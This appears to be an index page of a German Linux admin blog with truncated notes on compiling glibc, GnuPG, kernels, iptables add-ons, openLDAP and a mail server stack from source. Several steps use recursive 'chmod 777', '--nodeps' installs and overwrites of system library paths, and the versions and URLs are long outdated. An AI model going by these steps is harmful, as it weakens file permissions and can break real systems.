Client: Partition auf dem das Image soll einrichten. “fdisk /dev/sda” (am besten via Live-CD).
G4L CD einlegen und booten. File Mode auswählen -> “Pickup device” “eth0” usw. eintragen und dann auf “start client” drücken
Nun zuerst den kompletten MBR zurückfahren. Danach das normale Image
Jetzt via “fdisk /dev/sda” den MBR wieder aktivieren bzw. das boot flag setzten.
Nun den Gr...

Read More

GLIBC

Nicht empfehlenswert zu installieren da sonst unter openSUSE sämtliche library abhängigkeiten flöten gehn.

“wget http://ftp.gnu.org/pub/gnu/glibc/glibc-2.7.tar.gz” oder “git clone git://sourceware.org/git/glibc.git”
“tar -xvzf glibc-2.7.tar.gz”
“cd glibc-2.7”
“mkdir glibc-build”
“cd glibc-build”
“../configure” oder bei SuSE “../configure –prefix=/usr –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-shared –enable-all-warnings –enable-check-abi”
“make”
Läßt sich leider auf SuSE nicht kompilieren. Bei openSUSE 12.3 gehts
“make install”

Read More

GnuPG

libassuan:
“wget ftp://ftp.gnupg.org/gcrypt/libassuan/libassuan-1.0.4.tar.bz2”
“tar -xf libassuan-1.0.4.tar.bz2”
“cd libassuan-1.0.4”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
SUSE 64-BIT “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

libksba:
“wget ftp://ftp.gnupg.org/gcrypt/libksba/libksba-1.0.3.tar.bz2”
“tar -xf libksba-1.0.3.tar.bz2”
“cd libksba-1.0.3”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
SUSE 64-BIT “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

pth:
“wget ftp:...

Read More

GTK+

Glib:
“wget http://ftp.gnome.org/pub/gnome/sources/glib/2.18/glib-2.18.1.tar.gz”
“tar -xvzf glib-2.18.1.tar.gz”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”
ATK:
“wget http://ftp.gnome.org/pub/gnome/sources/atk/1.24/atk-1.24.0.tar.gz”
“tar -xzf atk-1.24.0.tar.gz”
“cd atk-1.24.0”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

Pango:
“wget http://ftp.gnome.org/pub/gnome/sources/pango/1.20/pango-1.20.5.tar.gz”
“tar -xvzf pango-1.20.5.tar.gz”
“cd pango-1.20.5”
“./configure” oder bei Debian “...

Read More

Heartbeat (Linux HA)

Die Software ist extrem kompliziert und schlecht dokumentiert.

Benötigt die aktuelle Version von libnet. Aber Achtung, sofern snort installiert ist gibt es Konflikte, da
snort im inline Modus unbedingt die ältere 1.0er Version braucht 🙁 .
Wenn das Management aktiviert ist (“–enable-mgmt”) benötigt man noch GNU/TLS und Python (PyGTK usw. [Am besten via Yast2 installieren, da tausend Abhängigkeiten an Python hängen]).

libnet:
“wget http://www.packetfactory.net/libnet/dist/libnet.tar.gz”
“tar -xvzf libnet.tar.gz”
“cd libnet”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

GNU/TLS:
“wget ftp://ftp.gnutls.org/pub/gnutls/gnutls-2.2.2.tar.bz2”
“tar -xf gnutls-2.2.2...

Read More

Hedgewars (Worms Clone)

To compile and install you need:
– Qt >= 4.4
– FreePascal >= 2.2.0
– SDL >= 1.2.5
– SDL_net >= 1.2.5
– SDL_mixer >= 1.2
– SDL_image >= 1.2
– SDL_ttf >= 2.0
– CMake >= 2.4.4

“wget http://fireforge.net/frs/download.php/182/hedgewars-src-0.9.7.tar.bz2”
“tar -xf hedgewars-src-0.9.7.tar.bz2”
“cd hedgewars-src-0.9.7”
“chmod -R 777 *”
“cmake .”
“make”
“make install”

 

Read More

NF Hipac

“lynx http://www.hipac.org/”
“tar -xf nf-hipac-0.9.1.tar.bz2”
“cd nf-hipac-0.9.1/”

Read More

Image Magick

Wird von diversen Grafik Programmen benötig, z.B php Coppermine Gallery

“wget ftp://gd.tuwien.ac.at/pub/graphics/ImageMagick/ImageMagick-6.4.0-3.tar.gz” bzw. http://www.imagemagick.org
“tar -xvzf ImageMagick-6.4.0-3.tar.gz”
“cd ImageMagick-6.4.0-3”
“./configure” oder bei SuSE und Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –with-perl –with-djvu”
“make”
“make install”
“identify -version”

Read More

IMAP

“wget ftp://ftp.cac.washington.edu/imap/imap-2007a1.tar.Z” bzw. http://www.washington.edu/imap/”
“cp -frv imap-2007a1.tar.Z /usr/local”
“tar -xvzf /usr/local/imap-2007a1.tar.Z”
“cd /usr/local/imap-2007a”
“make lsu” lsu = Linux SuSE und bei Debian “make ldb”
Es wird nachgefragt ob ein IPv6 Support gewünscht ist, obwohl der Kernel kein IPv6 kann, den Support aktivieren.
“mkdir include”
“ln -s c-client include”
“mkdir lib”
“cd lib”
“ln -s ../c-client/c-client.a libc-client.a2”
“cp -frv /usr/local/imap-2007a/mtest/mtest /usr/local/sbin/”
“cp -frv /usr/local/imap-2007a/ipopd/ipop2d /usr/local/sbin/”
“cp -frv /usr/local/imap-2007a/ipopd/ipop3d /usr/local/sbin/”
“cp -frv /usr/local/imap-2007a/imapd/imapd /usr/local/sbin/”
“cp -frv /usr/local/imap-2007a/c-client/*...

Read More

IPset

libmnl:
“wget http://www.netfilter.org/projects/libmnl/files/libmnl-1.0.1.tar.bz2”
“tar -xf libmnl-1.0.1.tar.bz2”
“cd libmnl-1.0.1”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

IPset:
“wget http://ipset.netfilter.org/ipset-6.9.1.tar.bz2”
“tar -xf ipset-6.9.1.tar.bz2”
“cd ipset-6.9.1”
“./autogen.sh”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-verbose”
Bei SLES 11 spinnt make und setzt den Ausführungsmodus für die neu erzeugten Files flasch daher mind. 20 mal “chmod 777 -R /root/temp/ipset-6.20” ausführen und “make” immer weider erneut ausführen bis alles kompiliert ist 🙁
“make”
“make modules”
“make install”
“make modules_instal...

Read More

IP Stack Hardering

#IP Forwarding (routing) aktivieren
#echo 1 > /proc/sys/net/ipv4/ip_forward
#IPv4##
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all                #Ping (ICMP Echo/Reply) deaktivieren.
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts                #Auf Broadcast-Pings nicht antworten
echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses            #halt die Klappe bei komischen ICMP Nachrichten
echo 0 > /proc/sys/net/ipv4/conf/eth0/accept_redirects
echo 0 > /proc/sys/net/ipv4/conf/eth0/accept_source_route
echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route
echo 1 > /proc/sys/net/ipv4/conf/all/rp_filter                    # Kicke den ganzen IP Spoofing Shit # (Source-Validierung anschalten)#Der rp Filter s...

Read More

iptables add ons conntrack libs how to

libnfnetlink-0.0.30:
“wget http://www.netfilter.org/projects/libnfnetlink/files/libnfnetlink-0.0.30.tar.bz2”
“tar -xf libnfnetlink-0.0.30.tar.bz2”
“cd libnfnetlink-0.0.30”
“./configure”
“make”
“make install”
“cp -frv /usr/local/lib/libnfnetlink.* /usr/lib/”
“cp -frv /usr/local/include/libnfnetlink/ /usr/include/”

libnetfilter_conntrack-0.0.82:
“wget http://www.netfilter.org/projects/libnetfilter_conntrack/files/libnetfilter_conntrack-0.0.82.tar.bz2”
“tar -xf libnetfilter_conntrack-0.0.82.tar.bz2”
“cd libnetfilter_conntrack-0.0.82”
“./configure”
“make”
“make install”
“cp -frv /usr/local/lib/libnetfilter_conntrack* /usr/lib/”
“cp -frv /usr/local/include/libnetfilter_conntrack/ /usr/include/”

Read More

IPtables add On

Wichtige Info:
IPtables ist nur das Konfigurationsprogramm des Kernel Netfilters (Firewall). Das heisst, die eigentlich
Features des Programms werden im/für den Kernel compiliert. Auf gut Deutsch der Netfilter muss mit in den
Kernel kompiliert werden, um die/zusätliche Firewall funktionen zu erhalten.

Bei SLES 11 und ab openSUSE 12.3 und bei Raspberry Pi:
libnfnetlink:
“wget http://www.netfilter.org/projects/libnfnetlink/files/libnfnetlink-1.0.1.tar.bz2”
“tar -xf libnfnetlink-1.0.1.tar.bz2”
“cd libnfnetlink-1.0.1”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

libmnl:
“wget http://netfilter...

Read More

IUC4C

“wget http://download.icu-project.org/files/icu4c/3.8/icu4c-3_8-src.tgz”
“tar -xvzf icu4c-3_8-src.tgz”
“cd icu4c-3_8-src/icu/source”
“chmod +x runConfigureICU configure install-sh”
“./runConfigureICU Linux”
“make”
“make install”

Bei SuSE muss man noch die libs und includes wegkopieren oder verlinken.

“cp -frv /usr/local/lib/libicu* /usr/lib”
“cp -frv /usr/local/include/unicode/* /usr/include”

zum Erstellen eines Unicode Programms wir folgender g++ Befehl verwendet um die ICU Libs zu verlinkern.
“clear; g++ -g -Wall -licui18n -licuuc -licudata -o utf_converter utf_converter.cpp”

Read More

Joomla

Noch nicht PHP 5.3 Kompatibel.
um den Filter und den Beitragstitel im Kategorie Feld nicht anzeigen zu lassen, muss
“vi ./components/com_content/views/category/tmpl/default_items.php” editiert werden. Gilt für joomla 1.5.10 – 1.5.12
Es müssen folgende Ausschnitte gelöscht werden.

<?php if ($this->params->get(‘filter’) || $this->params->get(‘show_pagination_limit’)) : ?>
<tr>
<td colspan=”5″>
<table>
<tr>
<?php if ($this->params->get(‘filter’)) : ?>
<td align=”left” width=”60%” nowrap=”nowrap”>
<?php echo JText::_($this->params->get(‘filter_type’) . ‘ Filter’).’&nbsp;’; ?>
<input type=”text” name=”filter” value=”<?php echo $this->escape($this->lists[‘filter’]);?>” class=”inputbox” onchange=”document.adminForm.submit();” />
</td>
<?php endif; ?>
<?php if ($t...

Read More

Kdevelop

kdelibs
doxygen

“wget http://www.kdevelop.org/”
“tar -xf  kdevelop-3.5.4.tar.bz2”
“cd kdevelop-3.5.4”
“./configure” oder bei SUSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“screen”
“time make”

$ bunzip2 kdevelop.tar.bz2
$ tar -xf kdevelop.tar
$ cd kdevelop

$ export KDEDIR=/ordner/von/kde    (export KDEDIR=/opt/kde3)
$ export QTDIR=/ordner/von/qt    (export QTDIR=/usr/share/qt)
$ export LD_LIBRARY_PATH=$QTDIR/lib:$KDEDIR/lib:$LD_LIBRARY_PATH
$ export LIBRARY_PATH=$QTDIR/lib:$KDEDIR/lib:$LIBRARY_PATH
$ export PATH=$QTDIR/bin:$KDEDIR/bin:$PATH

Wenn Kdevelop nicht richtig startet dann “kbuildsycoca” ausführen

Read More

Kerberos

OpenSSL mit “shared” compilieren

GNU M4:
“wget http://ftp.gnu.org/gnu/m4/m4-1.4.16.tar.gz”
“tar -xzf m4-1.4.16.tar.gz”
“cd m4-1.4.15”
Bei 64 BIT “./configure” oder bei Debian “./configure –bindir=/usr/bin/ –sbindir=/usr/sbin/ –libdir=/usr/lib64/ –includedir=/usr/include/”
“make”

Bison / yacc:
“yacc –version”
“wget http://ftp.gnu.org/gnu/bison/bison-2.4.1.tar.gz”
“tar -xzf bison-2.4.1.tar.gz”
“cd bison-2.4.1”
Bei 32 BIT “./configure” oder bei SuSE “./configure –bindir=/usr/bin/ –sbindir=/usr/sbin/ –libdir=/usr/lib/ –includedir=/usr/include/”
Bei 64 BIT “./configure” oder bei Debian “./configure –bindir=/usr/bin/ –sbindir=/usr/sbin/ –libdir=/usr/lib64/ –includedir=/usr/include/”
“make”
“make install”

Kerberos 5:
“wget http://web.mit.edu/kerberos/dist/krb5/1...

Read More

Kernel update bei SuSE

Benötigte Software Programme

gcc
qt3 libs

Denn aktuellen Kernel downloaden von www.kernel.org
“http://www.eu.kernel.org/pub/linux/kernel/v2.6/?C=M;O=D” bzw.
“http://130.239.17.4/pub/linux/kernel/v2.6/?C=M;O=D” oder
“http://www.eu.kernel.org/pub/linux/kernel/v2.6/linux-2.6.22.tar.gz”

Dann in /usr/src entpacken und und das entpacke Verzeichnis wechseln.
“tar -xvzf /usr/src/linux-2.6.22.tar.gz”
“cd /usr/src/linux-2.6.22”

jetzt die Menükonfiguration aufrufen.
“zcat /proc/config.gz > .config” = original Suse Kernel Konfig
Ab SuSE 11.2 wird qt3-devel nicht mehr angeboten. Lösung: qt3-devel manuel runterladen und installieren
“wget http://download.opensuse.org/factory/repo/oss/suse/i586/qt3-devel-3.3.8b-95.2.i586.rpm” “rpm -iv –nodeps qt3-devel-3.3.8b-101.2.i586...

Read More

Kernel Patch

##Normaler Patch von Version 2.6.24.XX auf 2.6.24.YY .
“wget http://www.eu.kernel.org/pub/linux/kernel/v2.6/patch-2.6.24.7.gz”
“tar -cvfz linux-2.6.24.4_backup_org.tar.gz /usr/src/linux-2.6.24.4”
“mv patch-2.6.24.7.gz /usr/src/linux-2.6.24.4”
“cd /usr/src/linux-2.6.24.4/”
“gunzip patch-2.6.24.7.gz”
“make clean”
“find . -iname “*.rej” -print -exec rm -frv {} \;”
“cd /usr/src/linux-2.6.24.4/scripte”
“./patch-kernel /usr/src/linux-2.6.24.4 /usr/src/linux-2.6.24.4/ 2.6.24.7”
“cd ..”
“make xconfig”
“screen”
“make clean bzImage modules modules_install”
“cp vmlinux /boot/vmlinux-2.6.24.7”
“cp System.map /boot”
“cd /boot”
“mkinitrd -k vmlinux-2.6.24.7 -i initrd-2.6.24.7”
“cp /usr/src/linux-2.6.24.4/arch/i386/boot/bzImage /boot/bzImage-2.6.24.7”
“vi /boot/grub/menu...

Read More

Kernel update bei Debian v.2

“apt-get install libqt3-mt-dev libqt3-headers libqt3-mt” (DVD 1)
“apt-get install module-init-tools initrd-tools procps”

“wget http://www.eu.kernel.org/pub/linux/kernel/v2.6/linux-2.6.25.4.tar.gz”
“tar -xvzf /usr/src/linux-2.6.25.4.tar.gz”
“chmod -R 777 /usr/src/linux-2.6.25.4”
“cd /usr/src/linux-2.6.25.4”
“make xconfig” immer zweimal alle Punkte durchgehen, damit eventelle Abhängikeiten erkannt werden. Von unten Anfangen.
“screen”
“time make dep clean bzImage modules modules_install” ca. 4,5 Stunden auf Imperator
“rm -fv ../linux”
“ln -s /usr/src/linux-2.6.25.4 ../linux”
“cp -fv vmlinux /boot/vmlinux-2.6.25.4”
“cp -fv System.map /boot”
“cd /boot”
“mkinitrd -k 2.6.25.4-default -o initrd-2.6.25.4” Bei dem Parameter “2.6.26...

Read More

Kernel update bei Fedora

“cd /usr/src/kernels”
“wget http://www.eu.kernel.org/pub/linux/kernel/v2.6/linux-2.6.23.12.tar.gz”
“tar -xvzf linux-2.6.23.12.tar.gz”
“cd linux-2.6.23.12”
“make xconfig” qt und x.org libs muessen installiert sein.
“screen”
“make all”
“make modules_install”
“make install”
Eventuell noch im “vi /boot/grub/grub.conf” die Bootreihenfolge aendern.

Read More

Kexec

Im Kernel muss die Option “CONFIG_KEXEC=y” unter Prozesortyp aktiviert sein (ab 10.1 SuSE default), damit der
System Call von Kexec funktioniert.

“wget http://www.xmission.com/~ebiederm/files/kexec/kexec-tools-1.101.tar.gz”
“tar -xvzf kexec-tools-1.101.tar.gz”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

Um den neuen Kernel zu laden:
“kexec -l –no-ifdown /boot/bzImage-2.6.24.4 –initrd=/boot/initrd-2.6.24.4” den Kernel laden
“kexec -e; exit;” und dann startens bzw. ausführen.

Un so wird der normale SuSE standard Kernel geladen:
Der append Command kann via “cat /proc/cmdline” herausgefunden werden.
“kexec -l /boot/vmlinuz-2.6.22...

Read More

Kismet

“wget http://www.kismetwireless.net/code/kismet-2008-05-R1.tar.gz”
“tar -xvzf kismet-2008-05-R1.tar.gz”
“cd kismet-2008-05-R1”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

Read More

ksplice

Mit ksplice kann man Kernel patches installieren ohne den Kernel neu zu starten.
Das Programm ist noch sehr Fehleranfällig, sollte deshalb nur Experimental genutzt werden,
da es unter Umständen das ganze System kaputt machen kann.

Benötig bdf.h daher GNU Binutils installieren:
“wget http://ftp.gnu.org/gnu/binutils/binutils-2.18.tar.gz”
“tar -xvzf binutils-2.18.tar.gz”
“cd binutils-2.18”
“./configure” oder bei SuSE und Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-libada –enable-libssp –enable-stage1-languages=all –enable-objc-gc –enable-stage1-checking=all –enable-werror”
“make”
“make install”

Nun Ksplice installieren:
“wget http://www.ksplice.com/dist/ksplice-0.9.2-src.tar.gz”
“tar -xvzf ksplice-...

Read More

last.fm

Als erstes müssen aktuelle QT libs, libsamplerate, FFTW, libmad, libgpod und alsa-lib installiert sein.

QT:
“wget <neustes qt>
“tar -xvzf qt-x11-opensource-src-4.3.3.tar.gz”
“cd qt-x11-opensource-src-4.3.3”
“./configure”
“make” bei Obelix P3 3GHZ 1GB RAM ca. 3 Stunden
“make install”
“vi ~/.bash_profile”    ->    PATH=/usr/local/Trolltech/Qt-4.3.3/bin:$PATH
export PATH
setenv PATH /usr/local/Trolltech/Qt-4.3.3/bin:$PATH

libsamplerate:
“wget <http://www.mega-nerd.com/SRC/libsamplerate-0.1.2.tar.gz>
“tar -xvzf libsamplerate-0.1.2.tar.gz”
“cd libsamplerate-0.1.2”
“./configure”
“make”
“make install”
“cp -frv /usr/local/lib/libsamplerate.* /usr/lib”

FFTW:
via Fedora Packet Manager installieren (von DVD)

Libmad:
“wget http://switch.dl.sourceforge...

Read More

openLDAP

Achtung openLDAP 2.4.10 unterstützt nicht Berkeley DB Version 4.7.25 sondern nur
Berkeley DB Version 4.6.21 .
Bei openSUSE 11.1 gibt es irgendwelche Bibliotheken Inkonsistenzen für openLDAP 2.4.16, deshalb
erst openLDAP via Yast installieren und dann direkt bei openLDAP in der Doku weitermachen danach wieder deinstallieren und
“rm -frv /etc/openldap/”

Benötigt für den Server Modus noch Oracle Berkeley DB.
DB (Berkeley DB):
“wget http://download.oracle.com/berkeley-db/db-4.6.21.tar.gz”
“tar -xvzf db-4.6.21.tar.gz”
“cd db-4.6.21/build_unix”
“../dist/configure” oder bei SuSE “../dist/configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-cxx”

....

Read More

openLDAP Log Level

number     hex-value     log-name     Logging description
-1     0xFFFF                 enable all logging
0     0x0000         –         logging inhibited – no logging occurs including critical errors. Not recommended.
1     0x1         acl         trace function calls
2     0x2         packets     debug packet handling
4     0x4         args         heavy trace debugging
8     0x8         conns         connection management
16     0x10         BER         print out packets sent and received
32     0x20         filter         search filter processing
64     0x40         config         configuration file processing
128  ...

Read More

Mozilla Thunderbird eMail Adressbuch

Zuerst das Mozilla Thunderbird Schema downloaden bzw. erstellen.
“http://wiki.mozilla.org/MailNews:Mozilla_LDAP_Address_Book_Schema”

Dann das Schema in die “vi /usr/local/etc/openldap/slap.conf” eintragen.
-> “include         /usr/local/etc/openldap/schema/thunderbird_ldap_schema.schema”
Und daraufhin “slapd” neu starten.

Nun einen neuen Eintrag im LDAP Server erstellen:
dn: cn=thunder,dc=domain,dc=corp
objectClass: inetOrgPerson
objectClass: mozillaAbPersonAlpha
sn: thunder
cn: thunder
mail: thunder@thunder.de
usw. …

Im Thunderbird selbst musss man unter “Extras/Konten/Verfassen & Adressieren/Adressieren/Einen anderen LDAP-Verzeichnisserver verwenden”
den LDAP Server eintragen mit den richtigen Einstellungen.

#Alernativ kann auch die Einstellungen zu...

Read More

NFS LDAP Implenetierung

NFS Zugang auf Basis von LDAP SambaSamAccounts.

Einfach einen SambaSamAccount erstellen und in der Datei “vi /etc/exports” -> “/home/test1 172.17.0.0/16(rw,async,no_subtree_check,anonuid=1006,anongid=1001)”
eintragen. Wobei “anonuid” und “anongid” die IDs des Users sind die auf das Verzeichnis zugreifen dürfen.
Die Zugriffssteuerung erfolgt dann einfach mittels “chown” und “chmod”.

###############################################################################################################
Bsp:
[root@remote]: ~/temp/nfs_test # ls -al
total 16
drwx—— 4 1006 1001 4096 Jun 27  2008 ./
drwxr-xr-x 5 root root 4096 Jun 26 23:15 ../
drwxr-xr-x 2 1006 1001 4096 Jun 27 12:15 test/        User kann darauf zugreifen
drwx—— 2 root root 4096 Jun 27 12:18 test2/ ...

Read More

Outlook LDAP Adressbuch

Zuerst müssen einmal zusätzliche Schematas zu openLDAP hinzugefügt werden.
“vi /usr/local/etc/openldap/slapd.conf” ->
include         /usr/local/etc/openldap/schema/evolutionperson.schema
include         /usr/local/etc/openldap/schema/mozillaAddressBookEntry.schema
include         /usr/local/etc/openldap/schema/mozillaOrgPerson_0.6.3.schema

Zu finden sind die Schema Templates unter “wget http://ftp.gnome.org/pub/gnome/sources/evolution-data-server/2.22/evolution-data-server-2.22.2.tar.bz2”
und dann unter “ls -al  /evolution-data-server-2.22.2/evolution-data-server-2.22.2/addressbook/backends/ldap/evolutionperson.schema”. Desweiteren unter
“http://www.honor.ch/linux-howto/howto/ldap/mozillaAddressBookEntry.schema” und
“http://www...

Read More

Samba LDAP Implementation

Um Samba mit LDAP account zu nutzen benötigt man noch zusätlich Software und Samba sollte mit LDAP Optionen kompiliert worden sein.

CVSTool(vers_string)
“wget http://www.padl.com/download/CVSTools.tar.gz”
“tar -xzf CVSTools.tar.gz”
“make”
“make install”

nss_ldap:
“wget http://www.padl.com/download/nss_ldap.tgz”
“tar -xvzf nss_ldap.tgz”
“cd nss_ldap-260”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/lib –includedir=/usr/include –enable-configurable-krb5-ccname-env –enable-configurable-krb5-ccname-gssapi –enable-configurable-krb5-keytab –with-ldap-lib=openldap –with-ldap-conf-file=/etc/ldap.conf –sysconfdir=/etc” (die ldap.conf nach “/etc” legen. UNBEDINGT darauf ACHTEN da sonnst nur Fehler)
“make”
“make install”
“rm -f...

Read More

logrotate

Das logrotate von suse 10.2 (logrotate 3.7.4) ist Fehlerhaft und kann keine alten Logs in ein
anderes Verzeichnis kopieren (olddier /var/log/old_logs).
Deshalb die Version “logrotate 3.7.5” aus der SuSE 10.3 Version rüberkopieren und dann
funktioniert wieder alles.

Beispielkonfiguration:
“cd /etc/logrotate.d”
“vi messages.log” ->
/var/log/messages.log
{
compress
dateext
maxage 365
rotate 99
size=+1024k
notifempty
missingok
copytruncate
olddir /var/log/old_logs
}

#Zusatzinfo###
Das logrotate Programm ist kein Daemon sondern wird vom cron (“cd /etc/cron.daily”)
gesteuert.
“/usr/sbin/logrotate /etc/logrotate.conf”  = Manuel starten ohne cron

Fehleranalyse:
Sollten folgende Fehler auftreten:
error: lastlog:1 lines must begin with a keyword or a filename (possib...

Read More

lynx

ncurses:
“wget http://ftp.gnu.org/pub/gnu/ncurses/ncurses-5.6.tar.gz”
“tar -xvzf ncurses-5.6.tar.gz”
“cd ncurses-5.6”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

“wget http://lynx.isc.org/lynx2.8.6/lynx2.8.6.tar.gz”
“tar -xvzf lynx2.8.6.tar.gz”
“cd lynx2.8.6”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-syslog”
“make”
“make install”

Read More

ClamSMTP

“wget http://memberwebs.com/stef/software/clamsmtp/clamsmtp-1.9.tar.gz”
“tar -xvzf clamsmtp-1.9.tar.gz”
“cd clamsmtp-1.9”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –sysconfdir=/etc/clamav”
“make”
“make install”
“mkdir /home/quarantine”
“chown -R clamav:clamav /home/quarantine”
“chown clamav:clamav /home/quarantine/email-virus-notice.sh”

Read More

Cyrus IMAP

Da Cyrus/IMAP eine sehr instabile Software ist (bis jetzt) sollte man das Update
via Online Update von SuSE benutzen.

Cyrsu IMAP:
“wget ftp://ftp.andrew.cmu.edu/pub/cyrus/cyrus-imapd-2.3.14.tar.gz”
“tar -xzf cyrus-imapd-2.3.14.tar.gz”
“cd cyrus-imapd-2.3.14”
32 BIT “./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-idled –enable-murder –enable-nntp –enable-listext –with-openssl –with-cyrus-user=cyrus –with-cyrus-group=nobody”
64 Bit “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-idled –enable-murder –enable-nntp –enable-listext –with-openssl –with-cyrus-user=cyrus –with-cyrus-group=nobody
“make depend”
“make”
“make install”
“useradd ...

Read More

Fetchmail

“wget http://prdownload.berlios.de/fetchmail/fetchmail-6.3.9.tar.bz2”
“tar -xf fetchmail-6.3.9.tar.bz2”
“cd fetchmail-6.3.9”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-POP2 –enable-RPA –enable-NTLM –enable-SDPS –enable-opie –with-ssl=/usr/local/ssl”
“make”
“mkdir /etc/fetchmail”
“make install”

“chown nobody:nobody /etc/fetchmail/fetchmail.conf”
“chmod 0700 /etc/fetchmail/fetchmail.conf”

“touch /var/log/fetchmail.log”
“chown nobody:nobody /var/log/fetchmail.log”
“chmod 0700 /var/log/fetchmail.log”

Zum starten
“sudo -u nobody /usr/bin/fetchmail -v -d 600 -L /var/log/fetchmail.log -f /etc/fetchmail/fetchmail.conf”

#Konfig Einstellunge “vi /etc/fetchmail/fetchmail.conf”
set postm...

Read More

Email Server Installations Reihenfolge

Bei Neuinstallation:
1. Cyrus/Imap
2. Squirel Webmail
3. postfix
4. fetchmail keine ausgabe auf stdout
5. spamassassin (Kommt bei SuSE Automatisch mit)
6. ClamAV. siehe ClamAV Doku
7. clamsmtpd

Bei Update:
1. Postfix
2. SpamAssassin
3. ClamAV
4. Clamsmtp
5. Cyrus/Imap
6. fetchmail
7. Squirel Webmail

Read More

Mailsystem Konfigs

“Cyrus” von der Suse CD installieren inkl. sämtliche “sasl” Programme.
Dann den Cyrus und sals-auth Daemon im “Runlevel-Editor” in Runlevel 3 und 5 autostarten lassen.
ACHTUNG BEI SUSE 10.2 HAT DER DELIVERY DIENST VOM CYRUS EINEN FEHLER.
DESHALB EIN ONLINE UPDATE DURCHFÜHRERN, DANN GEHTS WIEDER.
BEI SLES10 IST ALLES IN ORDNUNG.
Dann die “vi /etc/imapd.conf” editieren. und root als Cyrus Admin hinzufügen.
Gemäß der Vorlage.
Daran denken den cyrus daemon zu restart und den saslauth auch.
Nun kann man sich mit dem “cyradm” Cyrus Administrations Shell verbinden.
“cyradm –user root –auth login –server localhost”.
Eventuel dem cyrus user noch ein Passwort geben (“passwd cyrus”).
Zum loggen via Syslog, folgendes in die “vi /etc/syslog-ng/syslog-ng...

Read More

SpamAssassin

SpamAssasin HowTo (“lynx http://www.postfix-howto.de/installation/spamassassin.htm”)

“useradd -d /home/filter -s /bin/false -g mail filter”
“screen”
“perl -MCPAN -eshell” ->
install Bundle::LWP                            -> (ohne libnet-1.25)
install ExtUtils::MakeMaker
install Pod::Usage
install HTML::Parser
install HTML::Tagset
install DB_File
install Net::DNS
install Net::Ping
install Time::HiRes
install Test::More
install Digest::SHA1
install Digest::Nilsimsa
install Digest::MD5
install Digest::HMAC
install URI
install URI::Escape

oder
“screen”
“cpan Bundle::LWP; cpan ExtUtils::MakeMaker; cpan Pod::Usage; cpan HTML::Parser; cpan HTML::Tagset; cpan DB_File; cpan Net::DNS; cpan Net::Ping;cpan Time::HiRes;cpan  Test::More;cpan  Digest::S...

Read More

Squirrel Mail

“wget http://www.squirrelmail.org/countdl.php?fileurl=http%3A%2F%2Fprdownloads.sourceforge.net%2Fsquirrelmail%2Fsquirrelmail-1.4.13.tar.gz”
“tar -xvzf squirrelmail-1.4.13.tar.gz”
“cd squirrelmail-1.4.13”
“cp -frv /usr/local/apache2/htdocs/admin/squirrelmail-1.4.10a/config ~/public/” Backup der alten Config Files
“cp -frv * /usr/local/apache2/htdocs/admin/squirrelmail-1.4.10a” Den neuen Inhalt ins alte Verzeichnis kopieren
“cp -frv ~/public/config/* /usr/local/apache2/htdocs/admin/squirrelmail-1.4.10a/config” Die (alten) Config Files ins neue Squirrel Verzeichnis kopieren

Read More

Midnight Commander

gettext:
“wget ftp://ftp.gnu.org/gnu/gettext/gettext-0.17.tar.gz”
“tar -xvzf gettext-0.17.tar.gz”
“cd gettext-0.17”
“./configure” oder bei Debian “./configure –bindir=/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-threads=posix –enable-relocatable”
“make”
“make install”

glib:
